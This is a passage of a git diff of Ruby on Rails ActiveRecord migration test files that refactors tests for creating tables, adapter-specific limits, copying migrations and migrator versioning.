- ActiveRecord::Base.table_name_prefix = ''
- ActiveRecord::Base.table_name_suffix = ''
Thing.reset_table_name
Thing.reset_sequence_name
end
@@ -326,9 +423,6 @@ class MigrationTest < ActiveRecord::TestCase
WeNeedReminders.down
assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
ensure
- ActiveRecord::Base.table_name_prefix = ''
- ActiveRecord::Base.table_name_suffix = ''
- Reminder.reset_table_name
Reminder.reset_sequence_name
end
@@ -349,70 +443,100 @@ class MigrationTest < ActiveRecord::TestCase
Person.connection.drop_table :binary_testings rescue nil
end
- def test_create_table_with_custom_sequence_name
- skip "not supported" unless current_adapter? :OracleAdapter
+ unless mysql_enforcing_gtid_consistency?
+ def test_create_table_with_query
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ Person.connection.create_table(:person, force: true)
- # table name is 29 chars, the standard sequence name will
- # be 33 chars and should be shortened
- assert_nothing_raised do
- begin
- Person.connection.create_table :table_with_name_thats_just_ok do |t|
- t.column :foo, :string, :null => false
- end
- ensure
- Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
- end
+ Person.connection.create_table :table_from_query_testings, as: "SELECT id FROM person"
+
+ columns = Person.connection.columns(:table_from_query_testings)
+ assert_equal 1, columns.length
+ assert_equal "id", columns.first.name
+
+ Person.connection.drop_table :table_from_query_testings rescue nil
end
- # should be all good w/ a custom sequence name
- assert_nothing_raised do
- begin
- Person.connection.create_table :table_with_name_thats_just_ok,
- :sequence_name => 'suitably_short_seq' do |t|
- t.column :foo, :string, :null => false
- end
+ def test_create_table_with_query_from_relation
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ Person.connection.create_table(:person, force: true)
- Person.connection.execute("select suitably_short_seq.nextval from dual")
+ Person.connection.create_table :table_from_query_testings, as: Person.select(:id)
- ensure
- Person.connection.drop_table :table_with_name_thats_just_ok,
- :sequence_name => 'suitably_short_seq' rescue nil
- end
- end
+ columns = Person.connection.columns(:table_from_query_testings)
+ assert_equal 1, columns.length
+ assert_equal "id", columns.first.name
- # confirm the custom sequence got dropped
- assert_raise(ActiveRecord::StatementInvalid) do
- Person.connection.execute("select suitably_short_seq.nextval from dual")
+ Person.connection.drop_table :table_from_query_testings rescue nil
end
end
- def test_out_of_range_limit_should_raise
- skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ if current_adapter? :OracleAdapter
+ def test_create_table_with_custom_sequence_name
+ # table name is 29 chars, the standard sequence name will
+ # be 33 chars and should be shortened
+ assert_nothing_raised do
+ begin
+ Person.connection.create_table :table_with_name_thats_just_ok do |t|
+ t.column :foo, :string, :null => false
+ end
+ ensure
+ Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
+ end
+ end
+
+ # should be all good w/ a custom sequence name
+ assert_nothing_raised do
+ begin
+ Person.connection.create_table :table_with_name_thats_just_ok,
+ :sequence_name => 'suitably_short_seq' do |t|
+ t.column :foo, :string, :null => false
+ end
- Person.connection.drop_table :test_limits rescue nil
- assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
- Person.connection.create_table :test_integer_limits, :force => true do |t|
- t.column :bigone, :integer, :limit => 10
+ Person.connection.execute("select suitably_short_seq.nextval from dual")
+
+ ensure
+ Person.connection.drop_table :table_with_name_thats_just_ok,
+ :sequence_name => 'suitably_short_seq' rescue nil
+ end
+ end
+
+ # confirm the custom sequence got dropped
+ assert_raise(ActiveRecord::StatementInvalid) do
+ Person.connection.execute("select suitably_short_seq.nextval from dual")
end
end
+ end
- unless current_adapter?(:PostgreSQLAdapter)
- assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
- Person.connection.create_table :test_text_limits, :force => true do |t|
- t.column :bigtext, :text, :limit => 0xfffffffff
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ def test_out_of_range_limit_should_raise
+ Person.connection.drop_table :test_limits rescue nil
+ assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
+ Person.connection.create_table :test_integer_limits, :force => true do |t|
+ t.column :bigone, :integer, :limit => 10
end
end
- end
- Person.connection.drop_table :test_limits rescue nil
+ unless current_adapter?(:PostgreSQLAdapter)
+ assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
+ Person.connection.create_table :test_text_limits, :force => true do |t|
+ t.column :bigtext, :text, :limit => 0xfffffffff
+ end
+ end
+ end
+
+ Person.connection.drop_table :test_limits rescue nil
+ end
end
protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ # This is needed to isolate class_attribute assignments like `table_name_prefix`
+ # for each test case.
+ def new_isolated_reminder_class
+ Class.new(Reminder) {
+ def self.name; "Reminder"; end
+ def self.base_class; self; end
+ }
end
end
@@ -432,14 +556,32 @@ class ReservedWordsMigrationTest < ActiveRecord::TestCase
end
end
+class ExplicitlyNamedIndexMigrationTest < ActiveRecord::TestCase
+ def test_drop_index_by_name
+ connection = Person.connection
+ connection.create_table :values, force: true do |t|
+ t.integer :value
+ end
+
+ assert_nothing_raised ArgumentError do
+ connection.add_index :values, :value, name: 'a_different_name'
+ connection.remove_index :values, column: :value, name: 'a_different_name'
+ end
+
+ connection.drop_table :values rescue nil
+ end
+end
+
if ActiveRecord::Base.connection.supports_bulk_alter?
class BulkAlterTableMigrationsTest < ActiveRecord::TestCase
def setup
@connection = Person.connection
@connection.create_table(:delete_me, :force => true) {|t| }
+ Person.reset_column_information
+ Person.reset_sequence_name
end
- def teardown
+ teardown do
Person.connection.drop_table(:delete_me) rescue nil
end
@@ -450,13 +592,13 @@ if ActiveRecord::Base.connection.supports_bulk_alter?
t.string :qualification, :experience
t.integer :age, :default => 0
t.date :birthdate
- t.timestamps
+ t.timestamps null: true
end
end
assert_equal 8, columns.size
[:name, :qualification, :experience].each {|s| assert_equal :string, column(s).type }
- assert_equal 0, column(:age).default
+ assert_equal '0', column(:age).default
end
def test_removing_columns
@@ -591,8 +733,8 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@existing_migrations = Dir[@migrations_path + "/*.rb"]
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
- assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
assert_equal [@migrations_path + "/4_people_have_hobbies.bukkits.rb", @migrations_path + "/5_people_have_descriptions.bukkits.rb"], copied.map(&:filename)
expected = "# This migration comes from bukkits (originally 1)"
@@ -615,10 +757,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy"
sources[:omg] = MIGRATIONS_ROOT + "/to_copy2"
ActiveRecord::Migration.copy(@migrations_path, sources)
- assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
- assert File.exists?(@migrations_path + "/6_create_articles.omg.rb")
- assert File.exists?(@migrations_path + "/7_create_comments.omg.rb")
+ assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/6_create_articles.omg.rb")
+ assert File.exist?(@migrations_path + "/7_create_comments.omg.rb")
files_count = Dir[@migrations_path + "/*.rb"].length
ActiveRecord::Migration.copy(@migrations_path, sources)
@@ -631,10 +773,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
@existing_migrations = Dir[@migrations_path + "/*.rb"]
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
- assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
expected = [@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb",
@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb"]
assert_equal expected, copied.map(&:filename)
@@ -656,12 +798,12 @@ class CopyMigrationsTest < ActiveRecord::TestCase
sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
sources[:omg] = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, sources)
- assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101012_create_articles.omg.rb")
- assert File.exists?(@migrations_path + "/20100726101013_create_comments.omg.rb")
+ assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101012_create_articles.omg.rb")
+ assert File.exist?(@migrations_path + "/20100726101013_create_comments.omg.rb")
assert_equal 4, copied.length
files_count = Dir[@migrations_path + "/*.rb"].length
@@ -676,10 +818,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
@existing_migrations = Dir[@migrations_path + "/*.rb"]
- Time.travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
- assert File.exists?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
files_count = Dir[@migrations_path + "/*.rb"].length
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
@@ -690,6 +832,26 @@ class CopyMigrationsTest < ActiveRecord::TestCase
clear
end
+ def test_copying_migrations_preserving_magic_comments
+ ActiveRecord::Base.timestamped_migrations = false
+ @migrations_path = MIGRATIONS_ROOT + "/valid"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/magic"})
+ assert File.exist?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
+ assert_equal [@migrations_path + "/4_currencies_have_symbols.bukkits.rb"], copied.map(&:filename)
+
+ expected = "# coding: ISO-8859-15\n# This migration comes from bukkits (originally 1)"
+ assert_equal expected, IO.readlines(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")[0..1].join.chomp
+
+ files_count = Dir[@migrations_path + "/*.rb"].length
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/magic"})
+ assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+ assert copied.empty?
+ ensure
+ clear
+ end
+
def test_skipping_migrations
@migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
@existing_migrations = Dir[@migrations_path + "/*.rb"]
@@ -731,10 +893,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/non_existing"
@existing_migrations = []
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
- assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
assert_equal 2, copied.length
end
ensure
@@ -746,13 +908,32 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/empty"
@existing_migrations = []
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
- assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
assert_equal 2, copied.length
end
ensure
clear
end
+
+ def test_check_pending_with_stdlib_logger
+ old, ActiveRecord::Base.logger = ActiveRecord::Base.logger, ::Logger.new($stdout)
+ quietly do
+ assert_nothing_raised { ActiveRecord::Migration::CheckPending.new(Proc.new {}).call({}) }
+ end
+ ensure
+ ActiveRecord::Base.logger = old
+ end
+
+ private
+
+ def quietly
+ silence_stream(STDOUT) do
+ silence_stream(STDERR) do
+ yield
+ end
+ end
+ end
end
diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb
index 1e16addcf3..c0daa83e9c 100644
--- a/activerecord/test/cases/migrator_test.rb
+++ b/activerecord/test/cases/migrator_test.rb
@@ -1,377 +1,388 @@
require "cases/helper"
require "cases/migration/helper"
-module ActiveRecord
- class MigratorTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
+class MigratorTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
- # Use this class to sense if migrations have gone
- # up or down.
- class Sensor < ActiveRecord::Migration
- attr_reader :went_up, :went_down
+ # Use this class to sense if migrations have gone
+ # up or down.
+ class Sensor < ActiveRecord::Migration
+ attr_reader :went_up, :went_down
- def initialize name = self.class.name, version = nil
- super
- @went_up = false
- @went_down = false
- end
-
- def up; @went_up = true; end
- def down; @went_down = true; end
- end
-
- def setup
+ def initialize name = self.class.name, version = nil
super
- ActiveRecord::SchemaMigration.create_table
- ActiveRecord::SchemaMigration.delete_all rescue nil
+ @went_up = false
+ @went_down = false
end
- def teardown
- super
- ActiveRecord::SchemaMigration.delete_all rescue nil
- end
+ def up; @went_up = true; end
+ def down; @went_down = true; end
+ end
- def test_migrator_with_duplicate_names
- assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
- list = [Migration.new('Chunky'), Migration.new('Chunky')]
- ActiveRecord::Migrator.new(:up, list)
+ def setup
+ super
+ ActiveRecord::SchemaMigration.create_table
+ ActiveRecord::SchemaMigration.delete_all rescue nil
+ @verbose_was = ActiveRecord::Migration.verbose
+ ActiveRecord::Migration.message_count = 0
+ ActiveRecord::Migration.class_eval do
+ undef :puts
+ def puts(*)
+ ActiveRecord::Migration.message_count += 1
end
end
+ end
- def test_migrator_with_duplicate_versions
- assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
- list = [Migration.new('Foo', 1), Migration.new('Bar', 1)]
- ActiveRecord::Migrator.new(:up, list)
+ teardown do
+ ActiveRecord::SchemaMigration.delete_all rescue nil
+ ActiveRecord::Migration.verbose = @verbose_was
+ ActiveRecord::Migration.class_eval do
+ undef :puts
+ def puts(*)
+ super
end
end
+ end
- def test_migrator_with_missing_version_numbers
- assert_raises(ActiveRecord::UnknownMigrationVersionError) do
- list = [Migration.new('Foo', 1), Migration.new('Bar', 2)]
- ActiveRecord::Migrator.new(:up, list, 3).run
- end
+ def test_migrator_with_duplicate_names
+ assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
+ list = [ActiveRecord::Migration.new('Chunky'), ActiveRecord::Migration.new('Chunky')]
+ ActiveRecord::Migrator.new(:up, list)
end
+ end
- def test_finds_migrations
- migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid")
+ def test_migrator_with_duplicate_versions
+ assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
+ list = [ActiveRecord::Migration.new('Foo', 1), ActiveRecord::Migration.new('Bar', 1)]
+ ActiveRecord::Migrator.new(:up, list)
+ end
+ end
- [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
- assert_equal migrations[i].version, pair.first
- assert_equal migrations[i].name, pair.last
- end
+ def test_migrator_with_missing_version_numbers
+ assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+ list = [ActiveRecord::Migration.new('Foo', 1), ActiveRecord::Migration.new('Bar', 2)]
+ ActiveRecord::Migrator.new(:up, list, 3).run
end
+ end
- def test_finds_migrations_in_subdirectories
- migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid_with_subdirectories")
+ def test_finds_migrations
+ migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid")
- [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
- assert_equal migrations[i].version, pair.first
- assert_equal migrations[i].name, pair.last
- end
+ [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+ assert_equal migrations[i].version, pair.first
+ assert_equal migrations[i].name, pair.last
end
+ end
- def test_finds_migrations_from_two_directories
- directories = [MIGRATIONS_ROOT + '/valid_with_timestamps', MIGRATIONS_ROOT + '/to_copy_with_timestamps']
- migrations = ActiveRecord::Migrator.migrations directories
-
- [[20090101010101, "PeopleHaveHobbies"],
- [20090101010202, "PeopleHaveDescriptions"],
- [20100101010101, "ValidWithTimestampsPeopleHaveLastNames"],
- [20100201010101, "ValidWithTimestampsWeNeedReminders"],
- [20100301010101, "ValidWithTimestampsInnocentJointable"]].each_with_index do |pair, i|
- assert_equal pair.first, migrations[i].version
- assert_equal pair.last, migrations[i].name
- end
- end
+ def test_finds_migrations_in_subdirectories
+ migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid_with_subdirectories")
- def test_deprecated_constructor
- assert_deprecated do
- ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid")
- end
+ [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+ assert_equal migrations[i].version, pair.first
+ assert_equal migrations[i].name, pair.last
end
+ end
- def test_relative_migrations
- list = Dir.chdir(MIGRATIONS_ROOT) do
- ActiveRecord::Migrator.migrations("valid/")
- end
+ def test_finds_migrations_from_two_directories
+ directories = [MIGRATIONS_ROOT + '/valid_with_timestamps', MIGRATIONS_ROOT + '/to_copy_with_timestamps']
+ migrations = ActiveRecord::Migrator.migrations directories
+
+ [[20090101010101, "PeopleHaveHobbies"],
+ [20090101010202, "PeopleHaveDescriptions"],
+ [20100101010101, "ValidWithTimestampsPeopleHaveLastNames"],
+ [20100201010101, "ValidWithTimestampsWeNeedReminders"],
+ [20100301010101, "ValidWithTimestampsInnocentJointable"]].each_with_index do |pair, i|
+ assert_equal pair.first, migrations[i].version
+ assert_equal pair.last, migrations[i].name
+ end
+ end
- migration_proxy = list.find { |item|
- item.name == 'ValidPeopleHaveLastNames'
- }
- assert migration_proxy, 'should find pending migration'
+ def test_finds_migrations_in_numbered_directory
+ migrations = ActiveRecord::Migrator.migrations [MIGRATIONS_ROOT + '/10_urban']
+ assert_equal 9, migrations[0].version
+ assert_equal 'AddExpressions', migrations[0].name
+ end
+
+ def test_relative_migrations
+ list = Dir.chdir(MIGRATIONS_ROOT) do
+ ActiveRecord::Migrator.migrations("valid")
end
- def test_finds_pending_migrations
- ActiveRecord::SchemaMigration.create!(:version => '1')
- migration_list = [ Migration.new('foo', 1), Migration.new('bar', 3) ]
- migrations = ActiveRecord::Migrator.new(:up, migration_list).pending_migrations
+ migration_proxy = list.find { |item|
+ item.name == 'ValidPeopleHaveLastNames'
+ }
+ assert migration_proxy, 'should find pending migration'
+ end
- assert_equal 1, migrations.size
- assert_equal migration_list.last, migrations.first
- end
+ def test_finds_pending_migrations
+ ActiveRecord::SchemaMigration.create!(:version => '1')
+ migration_list = [ActiveRecord::Migration.new('foo', 1), ActiveRecord::Migration.new('bar', 3)]
+ migrations = ActiveRecord::Migrator.new(:up, migration_list).pending_migrations
- def test_migrator_interleaved_migrations
- pass_one = [Sensor.new('One', 1)]
+ assert_equal 1, migrations.size
+ assert_equal migration_list.last, migrations.first
+ end
- ActiveRecord::Migrator.new(:up, pass_one).migrate
- assert pass_one.first.went_up
- refute pass_one.first.went_down
+ def test_migrator_interleaved_migrations
+ pass_one = [Sensor.new('One', 1)]
- pass_two = [Sensor.new('One', 1), Sensor.new('Three', 3)]
- ActiveRecord::Migrator.new(:up, pass_two).migrate
- refute pass_two[0].went_up
- assert pass_two[1].went_up
- assert pass_two.all? { |x| !x.went_down }
+ ActiveRecord::Migrator.new(:up, pass_one).migrate
+ assert pass_one.first.went_up
+ assert_not pass_one.first.went_down
- pass_three = [Sensor.new('One', 1),
- Sensor.new('Two', 2),
- Sensor.new('Three', 3)]
+ pass_two = [Sensor.new('One', 1), Sensor.new('Three', 3)]
+ ActiveRecord::Migrator.new(:up, pass_two).migrate
+ assert_not pass_two[0].went_up
+ assert pass_two[1].went_up
+ assert pass_two.all? { |x| !x.went_down }
- ActiveRecord::Migrator.new(:down, pass_three).migrate
- assert pass_three[0].went_down
- refute pass_three[1].went_down
- assert pass_three[2].went_down
- end
+ pass_three = [Sensor.new('One', 1),
+ Sensor.new('Two', 2),
+ Sensor.new('Three', 3)]
- def test_up_calls_up
- migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
- ActiveRecord::Migrator.new(:up, migrations).migrate
- assert migrations.all? { |m| m.went_up }
- assert migrations.all? { |m| !m.went_down }
- assert_equal 2, ActiveRecord::Migrator.current_version
- end
+ ActiveRecord::Migrator.new(:down, pass_three).migrate
+ assert pass_three[0].went_down
+ assert_not pass_three[1].went_down
+ assert pass_three[2].went_down
+ end
- def test_down_calls_down
- test_up_calls_up
+ def test_up_calls_up
+ migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+ ActiveRecord::Migrator.new(:up, migrations).migrate
+ assert migrations.all?(&:went_up)
+ assert migrations.all? { |m| !m.went_down }
+ assert_equal 2, ActiveRecord::Migrator.current_version
+ end
- migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
- ActiveRecord::Migrator.new(:down, migrations).migrate
- assert migrations.all? { |m| !m.went_up }
- assert migrations.all? { |m| m.went_down }
- assert_equal 0, ActiveRecord::Migrator.current_version
- end
+ def test_down_calls_down
+ test_up_calls_up
- def test_current_version
- ActiveRecord::SchemaMigration.create!(:version => '1000')
- assert_equal 1000, ActiveRecord::Migrator.current_version
- end
+ migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+ ActiveRecord::Migrator.new(:down, migrations).migrate
+ assert migrations.all? { |m| !m.went_up }
+ assert migrations.all?(&:went_down)
+ assert_equal 0, ActiveRecord::Migrator.current_version
+ end
- def test_migrator_one_up
- calls, migrations = sensors(3)
+ def test_current_version
+ ActiveRecord::SchemaMigration.create!(:version => '1000')
+ assert_equal 1000, ActiveRecord::Migrator.current_version
+ end
- ActiveRecord::Migrator.new(:up, migrations, 1).migrate
- assert_equal [[:up, 1]], calls
- calls.clear
+ def test_migrator_one_up
+ calls, migrations = sensors(3)
- ActiveRecord::Migrator.new(:up, migrations, 2).migrate
- assert_equal [[:up, 2]], calls
- end
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [[:up, 1]], calls
+ calls.clear
- def test_migrator_one_down
- calls, migrations = sensors(3)
+ ActiveRecord::Migrator.new(:up, migrations, 2).migrate
+ assert_equal [[:up, 2]], calls
+ end
- ActiveRecord::Migrator.new(:up, migrations).migrate
- assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
- calls.clear
+ def test_migrator_one_down
+ calls, migrations = sensors(3)
- ActiveRecord::Migrator.new(:down, migrations, 1).migrate
+ ActiveRecord::Migrator.new(:up, migrations).migrate
+ assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+ calls.clear
- assert_equal [[:down, 3], [:down, 2]], calls
- end
+ ActiveRecord::Migrator.new(:down, migrations, 1).migrate
- def test_migrator_one_up_one_down
- calls, migrations = sensors(3)
+ assert_equal [[:down, 3], [:down, 2]], calls
+ end
- ActiveRecord::Migrator.new(:up, migrations, 1).migrate
- assert_equal [[:up, 1]], calls
- calls.clear
+ def test_migrator_one_up_one_down
+ calls, migrations = sensors(3)
- ActiveRecord::Migrator.new(:down, migrations, 0).migrate
- assert_equal [[:down, 1]], calls
- end
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [[:up, 1]], calls
+ calls.clear
- def test_migrator_double_up
- calls, migrations = sensors(3)
- assert_equal(0, ActiveRecord::Migrator.current_version)
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_equal [[:down, 1]], calls
+ end
- ActiveRecord::Migrator.new(:up, migrations, 1).migrate
- assert_equal [[:up, 1]], calls
- calls.clear
+ def test_migrator_double_up
+ calls, migrations = sensors(3)
+ assert_equal(0, ActiveRecord::Migrator.current_version)
- ActiveRecord::Migrator.new(:up, migrations, 1).migrate
- assert_equal [], calls
- end
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [[:up, 1]], calls
+ calls.clear
- def test_migrator_double_down
- calls, migrations = sensors(3)
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [], calls
+ end
- assert_equal(0, ActiveRecord::Migrator.current_version)
+ def test_migrator_double_down
+ calls, migrations = sensors(3)
- ActiveRecord::Migrator.new(:up, migrations, 1).run
- assert_equal [[:up, 1]], calls
- calls.clear
+ assert_equal(0, ActiveRecord::Migrator.current_version)
- ActiveRecord::Migrator.new(:down, migrations, 1).run
- assert_equal [[:down, 1]], calls
- calls.clear
+ ActiveRecord::Migrator.new(:up, migrations, 1).run
+ assert_equal [[:up, 1]], calls
+ calls.clear
- ActiveRecord::Migrator.new(:down, migrations, 1).run
- assert_equal [], calls
+ ActiveRecord::Migrator.new(:down, migrations, 1).run
+ assert_equal [[:down, 1]], calls
+ calls.clear
- assert_equal(0, ActiveRecord::Migrator.current_version)
- end
+ ActiveRecord::Migrator.new(:down, migrations, 1).run
+ assert_equal [], calls
- def test_migrator_verbosity
- _, migrations = sensors(3)
+ assert_equal(0, ActiveRecord::Migrator.current_version)
+ end
- ActiveRecord::Migrator.new(:up, migrations, 1).migrate
- assert_not_equal 0, ActiveRecord::Migration.message_count
+ def test_migrator_verbosity
+ _, migrations = sensors(3)
- ActiveRecord::Migration.message_count = 0
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_not_equal 0, ActiveRecord::Migration.message_count
- ActiveRecord::Migrator.new(:down, migrations, 0).migrate
- assert_not_equal 0, ActiveRecord::Migration.message_count
- ActiveRecord::Migration.message_count = 0
- end
+ ActiveRecord::Migration.message_count = 0
- def test_migrator_verbosity_off
- _, migrations = sensors(3)
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_not_equal 0, ActiveRecord::Migration.message_count
+ end
- ActiveRecord::Migration.message_count = 0
- ActiveRecord::Migration.verbose = false
- ActiveRecord::Migrator.new(:up, migrations, 1).migrate
- assert_equal 0, ActiveRecord::Migration.message_count
- ActiveRecord::Migrator.new(:down, migrations, 0).migrate
- assert_equal 0, ActiveRecord::Migration.message_count
- end
+ def test_migrator_verbosity_off
+ _, migrations = sensors(3)
- def test_target_version_zero_should_run_only_once
- calls, migrations = sensors(3)
+ ActiveRecord::Migration.message_count = 0
+ ActiveRecord::Migration.verbose = false
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal 0, ActiveRecord::Migration.message_count
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_equal 0, ActiveRecord::Migration.message_count
+ end
- # migrate up to 1
- ActiveRecord::Migrator.new(:up, migrations, 1).migrate
- assert_equal [[:up, 1]], calls
- calls.clear
+ def test_target_version_zero_should_run_only_once
+ calls, migrations = sensors(3)
- # migrate down to 0
- ActiveRecord::Migrator.new(:down, migrations, 0).migrate
- assert_equal [[:down, 1]], calls
- calls.clear
+ # migrate up to 1
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [[:up, 1]], calls
+ calls.clear
- # migrate down to 0 again
- ActiveRecord::Migrator.new(:down, migrations, 0).migrate
- assert_equal [], calls
- end
+ # migrate down to 0
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
